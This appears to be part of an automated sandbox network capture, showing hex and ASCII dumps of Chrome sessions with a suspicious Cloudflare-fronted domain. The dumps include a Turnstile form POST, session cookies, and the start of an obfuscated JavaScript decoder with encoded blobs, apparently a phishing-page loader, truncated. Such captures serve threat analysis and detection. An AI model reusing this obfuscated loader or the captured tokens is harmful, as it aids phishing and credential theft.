2024-08-23 14:21:46 UTC	1383	OUT	Data Raw: 4f 6b 44 64 6e 6e 2b 78 59 6a 72 50 63 46 79 50 46 62 45 4c 2b 77 68 37 51 59 37 43 64 34 32 71 4e 72 78 47 4c 68 6e 46 33 2b 4a 2b 6a 73 6a 73 78 45 42 62 64 7a 64 6f 54 39 74 6b 35 44 4c 64 6b 4d 64 6e 44 74 6d 59 44 64 4f 64 73 6a 7a 63 51 49 76 4b 50 74 2d 74 69 42 45 71 72 39 50 51 64 66 64 39 6b 79 34 6a 52 64 53 65 50 74 79 70 46 6d 63 4d 67 59 45 47 64 6f 76 45 72 41 6c 39 71 37 73 6f 2d 59 53 59 70 48 64 37 37 6f 7a 54 63 74 48 4f 6b 55 2b 48 6a 6c 34 78 6f 30 4a 64 62 35 46 42 51 4e 37 50 50 34 37 31 70 42 50 79 35 65 4b 41 56 39 6f 4c 76 64 78 64 64 4a 51 5a 30 42 76 77 69 41 57 6c 45 31 67 77 53 65 32 48 64 62 77 34 57 64 51 78 34 58 6b 4d 64 4c 64 57 58 34 7a 48 4b 35 57 54 56 7a 48 6d 35 46 54 33 45 32 74 35 51 54 32 38 6e 58 6e 62 65 41 58 Data Ascii: OkDdnn+xYjrPcFyPFbEL+wh7QY7Cd42qNrxGLhnF3+J+jsjsxEBbdzdoT9tk5DLdkMdnDtmYDdOdsjzcQIvKPt-tiBEqr9PQdfd9ky4jRdSePtypFmcMgYEGdovErAl9q7so-YSYpHd77ozTctHOkU+Hjl4xo0Jdb5FBQN7PP471pBPy5eKAV9oLvdxddJQZ0BvwiAWlE1gwSe2Hdbw4WdQx4XkMdLdWX4zHK5WTVzHm5FT3E2t5QT28nXnbeAX
2024-08-23 14:21:46 UTC	1176	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3416 Connection: close cf-chl-out-s: yR6cPGdo6WSdGOoBkCWsbHPnc/SYeAjJpWtpeAWaxC4P5U0qSt96ck1xiA4B99+ODoeFOIY4yKQjIG0sa9hPGbqUX7Vdp6xWBQWiGib34tSjaxcEJ2I4DSpjgDKhjyIvleDYlSptSDhwbS1OuvmaxwOLFraYz1AsW90lKN3ELnbU1ZJwiB4X0Ittj7tEcHuAEG+zdZGp3v17ye1zjxPY7w2AZP8BlhXGmsND57Co/Bb1U6drJAA7mh7CYPY6k/yaljl26722TLn5upIb5CrDtUx8BGM7QNEk+SlJhM8rcm19Zmbp+162890hHzzq7tPCnGkFoCuEBR9UtDhh71T2oIOk84Pd7PsOshDutkoT306bMnlYqCPqZeSVe8GseCwoP4/SavEtCESS4ZkoFdK8KtpQAUEHPmpj1IW5CTrFAKIniDiGd/k2ozzrMIy4V9UO8y4jkyF81oIHTMdGzAHnNPpR6kBIx0dYr/JgE6svACSWB4HucC+Xm72e0n8qO8Z6meblgRhgLyd6Z7K/Y69kal3/pK1u6y3OkcVJ/2FzBP9NMG6iVleaWirV/O96N2jnS8Bcw79w6hcQWwSDohz33tE+LWPXQqEd3goa9jRb0CUSRoPjSFdt3sSeVa8Sa6ixl7mAFKa0cOeJUoQGyJXA/+P2NmaZG6/5x80SopVQ0lbeYTLYYtRu/FcblJFyM/2jrQQ46zcNpvPDqbr587h6I2FXONySNF5BsWfIqCxk/XMOGX+7LOiIM9/sSCFA8AzS+E6gl4Gq8607+N/NP7H9BSPn0f8u8rEgFgphxEXTeN4a/AUa3HPuR8VTHU6A/GTnaUYv4GkYedADt1QzDewZji1yo4wCzKypJjwTxIR4vKacbC0NdCJ9EaqysPGuGTaRHsgM5zajcpxZ8oF/3dCKfEvCZFJ/hl0wDhH+1t4yGZTqD9vGxc5Hor6axXo4cKoF4LXnww+Arkfq331O13az92LUwb/4pCN7fxGalB1iEPCVow/Y$Z [TRUNCATED]
2024-08-23 14:21:46 UTC	325	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 38 71 56 7a 43 62 51 4d 45 48 59 64 55 57 53 65 52 4d 2f 52 63 72 30 66 37 2b 61 41 54 66 74 2f 37 5a 56 35 38 4e 33 63 46 30 69 65 41 38 33 34 70 78 37 6f 75 48 48 6a 34 44 37 49 35 54 70 71 2b 37 71 64 57 69 34 49 71 46 59 48 56 30 72 33 43 78 66 77 6f 64 6a 39 75 63 71 67 51 73 79 48 74 4e 42 75 76 6e 78 62 37 44 71 6d 31 37 4d 68 45 48 77 51 4f 35 56 45 37 6f 6c 43 48 56 65 41 49 69 75 49 44 6e 4d 4b 72 59 72 42 44 62 78 55 72 4b 45 6a 32 4d 78 54 63 54 41 57 32 31 79 54 37 30 36 64 6a 7a 4a 74 38 42 68 32 73 33 34 51 32 43 54 69 76 44 77 44 53 79 73 49 6a 48 63 71 7a 6a 39 63 51 53 33 6c 70 35 76 41 75 45 34 73 71 71 47 57 24 42 42 4a 64 56 44 79 74 4b 49 4f 34 69 37 7a 6b 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 Data Ascii: cf-chl-out: 8qVzCbQMEHYdUWSeRM/Rcr0f7+aATft/7ZV58N3cF0ieA834px7ouHHj4D7I5Tpq+7qdWi4IqFYHV0r3Cxfwodj9ucqgQsyHtNBuvnxb7Dqm17MhEHwQO5VE7olCHVeAIiuIDnMKrYrBDbxUrKEj2MxTcTAW21yT706djzJt8Bh2s34Q2CTivDwDSysIjHcqzj9cQS3lp5vAuE4sqqGW$BBJdVDytKIO4i7zkServer: clou
2024-08-23 14:21:46 UTC	1237	IN	Data Raw: 6a 4c 43 65 73 6f 65 38 71 73 43 30 71 36 4c 4b 73 4d 61 61 6e 64 44 48 76 59 79 4f 72 4b 69 32 33 4d 61 78 7a 4d 37 64 6e 72 32 30 76 72 48 6d 74 38 54 53 32 4c 4f 37 71 4c 2f 6b 35 38 50 50 36 4f 76 48 78 65 65 30 74 74 44 6f 74 39 4c 73 74 62 71 38 30 76 4c 36 39 65 48 36 41 4f 50 56 42 4e 33 69 2f 4d 58 66 7a 4f 30 43 7a 39 4c 6f 43 2b 6a 52 43 63 33 57 32 50 77 4f 46 39 37 75 45 67 62 33 41 77 67 41 35 64 7a 31 49 77 41 4c 48 75 30 49 41 79 55 47 45 41 30 6e 43 51 38 70 2b 2f 62 34 45 43 33 37 2f 67 30 79 41 6b 59 6a 4e 6a 38 63 49 7a 39 45 4a 7a 30 43 52 67 30 75 52 79 55 30 4d 30 6b 35 4c 68 5a 4a 4a 56 55 62 48 7a 51 36 54 31 39 57 4c 6a 63 78 61 6b 4a 45 54 47 59 73 59 6e 46 46 4b 57 63 76 64 6a 4e 6f 63 55 39 43 56 33 6c 4c 54 6b 39 31 53 33 70 Data Ascii: jLCesoe8qsC0q6LKsMaandDHvYyOrKi23MaxzM7dnr20vrHmt8TS2LO7qL/k58PP6OvHxee0ttDot9Lstbq80vL69eH6AOPVBN3i/MXfzO0Cz9LoC+jRCc3W2PwOF97uEgb3AwgA5dz1IwALHu0IAyUGEA0nCQ8p+/b4EC37/g0yAkYjNj8cIz9EJz0CRg0uRyU0M0k5LhZJJVUbHzQ6T19WLjcxakJETGYsYnFFKWcvdjNocU9CV3lLTk91S3p
2024-08-23 14:21:46 UTC	1369	IN	Data Raw: 79 49 6d 61 6b 51 6a 61 44 68 74 4b 46 70 44 4c 47 39 66 4d 6b 38 75 59 33 4a 5a 4d 6e 63 37 53 33 39 56 55 7a 51 39 67 56 79 46 68 6c 78 6b 66 48 31 68 52 34 43 4d 5a 6d 43 42 68 46 4b 47 64 4a 5a 55 61 47 75 61 58 49 31 34 6d 35 61 4f 6c 70 2b 66 6f 58 31 67 65 36 4b 44 71 6d 75 69 6d 61 42 76 6d 71 43 77 72 6f 43 47 71 61 4f 32 68 61 36 52 70 5a 56 34 74 35 68 37 77 5a 6d 54 6f 63 4f 63 6c 4a 6d 48 69 6f 75 70 68 72 7a 47 78 6f 32 31 70 49 32 50 6d 4d 4b 33 32 38 58 56 6d 35 75 66 73 4d 75 65 75 72 6a 50 70 72 2f 45 77 65 72 59 78 4d 36 6f 33 4c 79 71 37 38 66 79 31 2f 57 34 79 39 47 79 35 39 65 39 74 37 4b 33 30 51 50 41 7a 38 45 45 38 63 4d 43 78 38 6a 6f 36 38 62 68 34 2b 33 53 78 75 6a 79 47 41 55 48 36 64 50 38 43 2b 6a 62 47 2f 6a 2b 4a 41 34 66 Data Ascii: yImakQjaDhtKFpDLG9fMk8uY3JZMnc7S39VUzQ9gVyFhlxkfH1hR4CMZmCBhFKGdJZUaGuaXI14m5aOlp+foX1ge6KDqmuimaBvmqCwroCGqaO2ha6RpZV4t5h7wZmTocOclJmHiouphrzGxo21pI2PmMK328XVm5ufsMueurjPpr/EwerYxM6o3Lyq78fy1/W4y9Gy59e9t7K30QPAz8EE8cMCx8jo68bh4+3SxujyGAUH6dP8C+jbG/j+JA4f
2024-08-23 14:21:46 UTC	810	IN	Data Raw: 68 59 4b 56 6f 6e 61 43 70 4a 62 6e 56 32 54 54 64 6d 4f 46 46 54 4f 44 78 73 61 6d 74 42 52 46 39 57 50 6a 35 59 61 30 5a 67 67 55 74 4d 5a 46 39 45 53 6c 4a 50 63 59 68 57 55 33 4a 55 58 49 5a 70 6e 33 64 76 65 32 4a 33 6e 6f 65 6d 6c 47 65 67 5a 36 64 6e 68 71 2b 42 6d 6f 35 75 69 4a 32 4e 73 37 4b 51 71 62 65 34 6b 33 31 32 75 36 71 77 67 71 2b 36 6b 4d 4b 47 76 72 61 39 74 35 79 32 68 35 43 6b 76 74 4b 2b 78 72 44 55 30 35 66 62 6d 73 61 34 71 70 75 78 72 4d 32 66 74 2b 62 56 6f 73 69 62 70 61 50 6d 32 63 66 76 32 74 37 53 35 65 33 74 78 62 50 78 38 75 50 73 76 4f 32 37 74 75 72 75 30 37 33 6b 75 39 54 43 32 38 66 53 44 4e 33 63 39 77 37 4d 37 50 41 46 31 41 37 78 31 78 50 6b 38 77 37 61 44 2b 59 66 30 67 37 55 32 75 54 30 48 75 4d 6b 34 67 54 72 41 Data Ascii: hYKVonaCpJbnV2TTdmOFFTODxsamtBRF9WPj5Ya0ZggUtMZF9ESlJPcYhWU3JUXIZpn3dve2J3noemlGegZ6dnhq+Bmo5uiJ2Ns7KQqbe4k312u6qwgq+6kMKGvra9t5y2h5CkvtK+xrDU05fbmsa4qpuxrM2ft+bVosibpaPm2cfv2t7S5e3txbPx8uPsvO27turu073ku9TC28fSDN3c9w7M7PAF1A7x1xPk8w7aD+Yf0g7U2uT0HuMk4gTrA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49773	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:47 UTC	1432	OUT	POST /rixZQ7i49HVQDFkT2K9BP2jQTFXOnXx5i81o7o HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive Content-Length: 1203 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryll42n12zzMW2eWxv Accept: / Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4quqe.oustfemin.com/rqMByta/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZXZXV4NlBjYWxYYm4vVFVmaE5WTGc9PSIsInZhbHVlIjoiWS9MenhTek9wckNENUczaUlEWGNkRW5IdG9mNTQrVGlpRzNjWmg5SDBaQWVHYVRPTk43VDdPbUg1aWYzd1Z3NjFYNW0zVEExVW8ydkJxcFMya2c0TEpUeGRBZzRUZzJrbjBIcG5JbTF0R1dWd016U0ZpY1ljNDlqeTNmVHRpcVEiLCJtYWMiOiI4ODJlYWFhMzk0OWI1NmU4ZDY0YjNjNGU2MTQ3MWJlZjdkYTAyMjFhMjNhZGZlNTI4NTlhNzUwZjYwMTVjODBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpKdjl4ZWFUaFRWZmN6TGZSUzl4TVE9PSIsInZhbHVlIjoiaVFFWng5RGtqc3ZQVVAremxtVW5Ya1lDWENFaEJwTjlnYlZzN1E3bkoxVzYvckJ0N3dLemVhQTFubHZpa0xzOTU0VlVHS205b1dxbWVJWGs3eGV0eHF5eXRSOEE5SEl1dDE5amwxKzNJVldlU3pRWnNmaGdzYTliY3MxUS9ycXAiLCJtYWMiOiIzZGE0YTA4ZmI0Y2Y5YThkNTM0ODhmYTdjYzE3OTc5NDA4OWJlNjg5NDQ1NjFhODk0NTYzMTNiYTJmNDU1MzQ3IiwidGFnIjoiIn0%3D
2024-08-23 14:21:47 UTC	1203	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6c 6c 34 32 6e 31 32 7a 7a 4d 57 32 65 57 78 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 68 64 7a 44 38 64 4b 6a 42 78 72 48 6f 65 36 4b 47 5a 39 76 52 38 5a 53 38 64 41 38 4c 32 6d 4c 6e 72 73 4d 6b 45 51 4a 44 4c 67 4f 4e 4a 38 44 58 44 2d 44 41 57 4a 6d 6a 6a 55 7a 35 50 34 74 6c 35 44 4a 58 70 6c 33 45 47 48 47 4e 64 57 76 46 32 64 4f 70 65 4f 70 46 53 69 65 39 47 2d 70 6e 45 4a 55 76 77 35 39 56 71 51 41 7a 6d 58 45 41 74 70 32 44 74 44 6b 58 73 51 68 46 55 36 5a 43 6b 63 46 43 6a 74 6a 62 4e 35 6c 4d 65 44 52 53 54 63 Data Ascii: ------WebKitFormBoundaryll42n12zzMW2eWxvContent-Disposition: form-data; name="cf-turnstile-response"0.hdzD8dKjBxrHoe6KGZ9vR8ZS8dA8L2mLnrsMkEQJDLgONJ8DXD-DAWJmjjUz5P4tl5DJXpl3EGHGNdWvF2dOpeOpFSie9G-pnEJUvw59VqQAzmXEAtp2DtDkXsQhFU6ZCkcFCjtjbN5lMeDRSTc
2024-08-23 14:21:50 UTC	997	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UdBHJcEiYnirzCAdkzths0hlobI4YD6QV7sB3wndSHCmXl7rJyfZFlNoTsY%2BmxGA0hzPFB8L7GBnPvvMAED6eKKj2NCe7i5dGDLLnl9%2Bn9Ta73qXkQlU%2Bfnh8mEvVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlEwdTNlNmdidmtDazhUc21jMXl1NEE9PSIsInZhbHVlIjoiSnp2c3lQK0tQQ1F4alkyS3A0VXQxa21zenh5UmRXakQwYnVFT0k0aVZneThjWTFUazd6MzRBaVl3U3JMdTI1S3dsRkJyZit5TVdqdzFwUFlMZHdqTUt0anE3RjRJaEZlVTFTVkNzbWhTY2ZQbHdrWDJ4NnROUEdyVFY1T1YxUHQiLCJtYWMiOiIyM2E4NGFjMGE2MmY1NDBiNTM0YzY3OWExNWEzNjg5ZTAzNzZlZGJmOGMxOGFlZDg3OTE5Y2QzNmZhMWRhY2M4IiwidGFnIjoiIn0%3D; expires=Fri, 23-Aug-2024 16:21:49 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-08-23 14:21:50 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 44 4d 45 39 61 4d 58 4d 77 4d 33 64 4a 52 6c 4e 72 53 45 68 70 52 45 6b 30 5a 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 31 5a 55 57 57 56 58 4d 6d 70 69 64 56 4e 4e 4b 7a 5a 4c 65 57 78 47 4d 47 67 7a 57 44 42 6b 61 6c 4e 70 4b 31 42 47 59 54 4a 33 5a 54 52 72 5a 45 70 6d 65 57 56 75 54 48 64 4b 54 48 4e 56 5a 6b 78 79 52 56 4a 68 54 6d 5a 49 53 6d 4e 6d 55 6a 63 33 5a 46 70 52 54 7a 41 32 61 30 70 42 4e 33 51 79 56 55 31 4f 57 47 78 4a 53 30 4e 4b 64 6b 31 7a 5a 45 35 51 52 48 6c 75 57 6e 46 4d 53 55 4d 76 61 57 46 43 52 32 46 71 51 55 4a 4f 53 6e 4a 59 64 6e 4a 30 56 6b 5a 35 64 46 56 42 54 30 74 4f 4d 48 64 77 55 33 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRDME9aMXMwM3dJRlNrSEhpREk0ZkE9PSIsInZhbHVlIjoiS1ZUWWVXMmpidVNNKzZLeWxGMGgzWDBkalNpK1BGYTJ3ZTRrZEpmeWVuTHdKTHNVZkxyRVJhTmZISmNmUjc3ZFpRTzA2a0pBN3QyVU1OWGxJS0NKdk1zZE5QRHluWnFMSUMvaWFCR2FqQUJOSnJYdnJ0VkZ5dFVBT0tOMHdwU3k
2024-08-23 14:21:50 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-08-23 14:21:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49772	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:47 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:47 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:47 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: +HP/aS4wccD6Rz9nweGXOR1d8/z51038lP4=$JMDu30XypeKRic/a Server: cloudflare CF-RAY: 8b7bc044bb791879-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:47 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49775	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:50 UTC	1473	OUT	GET /rqMByta/ HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://4quqe.oustfemin.com/rqMByta/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlEwdTNlNmdidmtDazhUc21jMXl1NEE9PSIsInZhbHVlIjoiSnp2c3lQK0tQQ1F4alkyS3A0VXQxa21zenh5UmRXakQwYnVFT0k0aVZneThjWTFUazd6MzRBaVl3U3JMdTI1S3dsRkJyZit5TVdqdzFwUFlMZHdqTUt0anE3RjRJaEZlVTFTVkNzbWhTY2ZQbHdrWDJ4NnROUEdyVFY1T1YxUHQiLCJtYWMiOiIyM2E4NGFjMGE2MmY1NDBiNTM0YzY3OWExNWEzNjg5ZTAzNzZlZGJmOGMxOGFlZDg3OTE5Y2QzNmZhMWRhY2M4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRDME9aMXMwM3dJRlNrSEhpREk0ZkE9PSIsInZhbHVlIjoiS1ZUWWVXMmpidVNNKzZLeWxGMGgzWDBkalNpK1BGYTJ3ZTRrZEpmeWVuTHdKTHNVZkxyRVJhTmZISmNmUjc3ZFpRTzA2a0pBN3QyVU1OWGxJS0NKdk1zZE5QRHluWnFMSUMvaWFCR2FqQUJOSnJYdnJ0VkZ5dFVBT0tOMHdwU3kiLCJtYWMiOiIxZGQ0ODVlNGVlMTBjMjdmZTY2Y2VlZmViMjdlODMwMTc5MmZiODQwMzQ2NWQwNTkxMTgxNTcxN2U3OTkyM2Y3IiwidGFnIjoiIn0%3D
2024-08-23 14:21:51 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C9ZLJJqkSVkHJJY9om6Qsc%2B9tXw2hOrXTHjtxC3vsE1zOQCCQ1FKSlxF9GFiO9UTSI%2F6GyqCPY7Hx8CVNo%2BC6i5spfu68%2FY6OM5K%2FgFGMvT9oxJUTYIs%2F5rmIEkL%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjdHMk5JVWw2VERubTFqR1k5M2dBTmc9PSIsInZhbHVlIjoibEFacGZkMGNib3lwRlAvSDl1TnNnZ3ZoWEdqVmRicnZwQUVabHZFeFM1Smxva013OUxCTUE2d3lQbWUzL0ZrWWErbUxQSmN4YTFValpJVnhlTi9lTnd4SWlYR2RhaFJkYkJSUTA0eCt6ZWozc0Q5VU1RcXBMeE1ZSFZETE1QN2QiLCJtYWMiOiJjZDYwMjgyMTgwMTRlYTdjMTM4ZDU5ZTEwZWMxMDQxZjExMTAyZDIzODA1YzY5ZmY3MTViMzMxZDEyZGZlYjQwIiwidGFnIjoiIn0%3D; expires=Fri, 23-Aug-2024 16:21:51 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-08-23 14:21:51 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 6f 4b 30 45 76 55 44 6c 71 4e 33 5a 4d 4f 56 6c 54 53 6b 34 76 54 46 5a 47 4b 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 45 52 5a 63 6c 52 36 59 6e 5a 46 52 46 70 47 62 7a 42 73 57 6b 70 4f 65 6d 74 53 63 57 74 54 63 6c 70 49 57 6b 74 48 54 45 68 6c 62 6e 4d 76 55 7a 56 53 59 30 70 6b 62 54 64 32 52 6b 6c 77 4d 30 70 35 63 55 39 33 5a 55 68 61 54 55 46 4e 56 79 39 7a 55 45 35 43 4e 54 68 59 54 6d 4e 44 54 32 31 52 64 48 52 49 5a 30 49 34 4d 33 5a 32 53 33 6c 45 4d 47 78 59 57 6d 74 56 65 54 5a 4b 57 55 74 33 61 55 30 7a 65 55 5a 77 62 56 4a 52 63 55 46 61 56 33 46 43 51 57 46 5a 62 33 6c 4b 63 6b 56 57 5a 57 64 32 61 6e 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJoK0EvUDlqN3ZMOVlTSk4vTFZGK2c9PSIsInZhbHVlIjoiZERZclR6YnZFRFpGbzBsWkpOemtScWtTclpIWktHTEhlbnMvUzVSY0pkbTd2RklwM0p5cU93ZUhaTUFNVy9zUE5CNThYTmNDT21RdHRIZ0I4M3Z2S3lEMGxYWmtVeTZKWUt3aU0zeUZwbVJRcUFaV3FCQWFZb3lKckVWZWd2anM
2024-08-23 14:21:51 UTC	1369	IN	Data Raw: 38 65 30 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 58 6d 4e 73 4b 4e 68 6a 74 49 28 68 64 6b 41 7a 66 71 77 66 51 2c 20 4b 4c 4b 6f 76 47 76 47 68 78 29 20 7b 0d 0a 6c 65 74 20 6d 59 78 41 43 7a 4a 54 6a 6e 20 3d 20 27 27 3b 0d 0a 68 64 6b 41 7a 66 71 77 66 51 20 3d 20 61 74 6f 62 28 68 64 6b 41 7a 66 71 77 66 51 29 3b 0d 0a 6c 65 74 20 61 74 41 4e 41 59 64 78 55 6f 20 3d 20 4b 4c 4b 6f 76 47 76 47 68 78 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 68 64 6b 41 7a 66 71 77 66 51 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 6d 59 78 41 43 7a 4a 54 6a 6e 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 68 64 6b 41 7a 66 71 77 66 51 2e 63 68 61 72 43 6f Data Ascii: 8e0<script>function XmNsKNhjtI(hdkAzfqwfQ, KLKovGvGhx) {let mYxACzJTjn = '';hdkAzfqwfQ = atob(hdkAzfqwfQ);let atANAYdxUo = KLKovGvGhx.length;for (let i = 0; i < hdkAzfqwfQ.length; i++) { mYxACzJTjn += String.fromCharCode(hdkAzfqwfQ.charCo
2024-08-23 14:21:51 UTC	910	IN	Data Raw: 48 51 39 74 61 44 5a 4f 4e 48 51 66 45 41 5a 2b 65 6d 34 73 55 57 4a 49 47 32 55 66 63 7a 39 50 64 7a 67 67 51 46 34 6d 61 33 6f 59 41 77 70 59 51 7a 38 53 61 68 5a 7a 4b 6c 56 2f 4d 44 39 45 52 44 70 66 41 67 31 72 4f 30 4e 7a 43 42 49 6b 51 7a 38 76 47 69 78 75 52 42 55 53 61 68 59 6b 4b 6c 30 7a 44 44 6b 62 58 69 56 56 4d 6a 64 61 4f 41 31 67 52 31 63 36 57 6a 49 67 56 6e 38 55 4a 31 74 57 4a 55 46 39 4c 31 77 30 41 6a 70 63 58 53 51 59 49 79 4a 48 50 77 30 76 57 46 64 6a 44 56 35 4a 45 33 64 44 62 6b 67 2f 51 42 5a 7a 59 78 4d 2b 42 57 5a 6d 51 7a 74 41 49 79 70 69 47 54 73 69 46 52 4e 33 43 33 4d 74 52 6a 73 50 5a 30 34 2f 51 42 5a 7a 59 78 4d 67 43 69 42 52 58 54 30 59 50 79 78 51 4e 68 63 6e 57 6c 78 6b 52 44 59 7a 58 7a 59 41 4b 78 31 46 49 31 67 Data Ascii: HQ9taDZONHQfEAZ+em4sUWJIG2Ufcz9PdzggQF4ma3oYAwpYQz8SahZzKlV/MD9ERDpfAg1rO0NzCBIkQz8vGixuRBUSahYkKl0zDDkbXiVVMjdaOA1gR1c6WjIgVn8UJ1tWJUF9L1w0AjpcXSQYIyJHPw0vWFdjDV5JE3dDbkg/QBZzYxM+BWZmQztAIypiGTsiFRN3C3MtRjsPZ04/QBZzYxMgCiBRXT0YPyxQNhcnWlxkRDYzXzYAKx1FI1g
2024-08-23 14:21:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49776	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
